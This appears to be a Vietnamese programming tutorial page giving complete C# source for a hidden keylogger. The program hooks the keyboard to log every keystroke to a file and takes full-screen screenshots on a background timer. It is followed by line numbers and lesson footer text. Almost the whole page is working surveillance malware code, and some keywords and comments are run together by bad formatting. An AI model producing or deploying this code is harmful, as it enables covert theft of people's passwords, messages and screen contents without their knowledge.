using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace KeyLogger
{
class Program
{
#region hook key boardprivateconstint WH_KEYBOARD_LL = 13;
privateconstint WM_KEYDOWN = 0x0100;
privatestatic LowLevelKeyboardProc _proc = HookCallback;
privatestatic IntPtr _hookID = IntPtr.Zero;
privatestaticstring logName = "Log_";
privatestaticstring logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
privatestaticexternboolUnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
privatestaticextern IntPtr GetModuleHandle(string lpModuleName);
///<summary>/// Delegate a LowLevelKeyboardProc to use user32.dll///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatedelegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
///<summary>/// Set hook into all current process///</summary>///<param name="proc"></param>///<returns></returns>privatestatic IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
///<summary>/// Every time the OS call back pressed key. Catch them /// then cal the CallNextHookEx to wait for the next key///</summary>///<param name="nCode"></param>///<param name="wParam"></param>///<param name="lParam"></param>///<returns></returns>privatestatic IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
///<summary>/// Write pressed key into log.txt file///</summary>///<param name="vkCode"></param>staticvoid WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
///<summary>/// Start hook key board and hide the key logger/// Key logger only show again if pressed right Hot key///</summary>staticvoid HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
#endregion#region Capturestaticstring imagePath = "Image_";
staticstring imageExtendtion = ".png";
staticint imageCount = 0;
staticint captureTime = 100;
///<summary>/// Capture al screen then save into ImagePath///</summary>staticvoid CaptureScreen()
{
//Create a new bitmap.var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
Screen.PrimaryScreen.Bounds.Height,
PixelFormat.Format32bppArgb);
// Create a graphics object from the bitmap.var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
// Take the screenshot from the upper left corner to the right bottom corner.
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Y,
0,
0,
Screen.PrimaryScreen.Bounds.Size,
CopyPixelOperation.SourceCopy);
string directoryImage = imagePath + DateTime.Now.ToLongDateString();
if (!Directory.Exists(directoryImage))
{
Directory.CreateDirectory(directoryImage);
}
// Save the screenshot to the specified path that the user has chosen.string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
try
{
bmpScreenshot.Save(imageName, ImageFormat.Png);
}
catch
{
}
imageCount++;
}
#endregion#region Timerstaticint interval = 1;
staticvoid StartTimmer()
{
Thread thread = new Thread(() => {
while (true)
{
Thread.Sleep(1);
if (interval % captureTime == 0)
CaptureScreen();
interval++;
if (interval >= 1000000)
interval = 0;
}
});
thread.IsBackground = true;
thread.Start();
}
#endregionstaticvoid Main(string[] args)
{
StartTimmer();
HookKeyboard();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
Bài sau chúng ta sẽ cùng nhau tìm hiểu cách tạo hotkey.
Đừng quên: “Luyện tập – Thử thách – Không ngại khó”
Tải xuống
Tài liệu
Nhằm phục vụ mục đích học tập Offline của cộng đồng, Kteam hỗ trợ tính năng lưu trữ nội dung bài học Chụp màn hình theo thời gian tool Keylogger với C# Console Application dưới dạng file PDF trong link bên dưới.
Ngoài ra, bạn cũng có thể tìm thấy các tài liệu được đóng góp từ cộng đồng ở mục TÀI LIỆU trên thư viện Howkteam.com
Đừng quên like và share để ủng hộ Kteam và tác giả nhé!
Thảo luận
Nếu bạn có bất kỳ khó khăn hay thắc mắc gì về khóa học, đừng ngần ngại đặt câu hỏi trong phần bên dưới hoặc trong mục HỎI & ĐÁP trên thư viện Howkteam.com để nhận được sự hỗ trợ từ cộng đồng.
Hi